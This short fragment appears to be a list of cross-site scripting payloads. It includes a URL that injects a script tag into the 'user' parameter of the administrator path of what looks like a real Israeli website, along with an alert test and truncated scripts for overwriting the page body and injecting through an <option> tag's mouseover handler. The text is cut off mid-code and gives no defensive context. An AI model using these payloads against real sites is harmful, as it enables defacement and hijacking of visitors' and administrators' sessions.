??

http://chidot.co.il/administrator/?user=<script>PAYLOAD</script>

<script>alert('/////////???!')</script>

<script>
// Overwrite the entire page
$(document).ready(function() {
$('body').html...

<script>
// Inject via <option> tag
var payload = '<option value="1" onmouseov...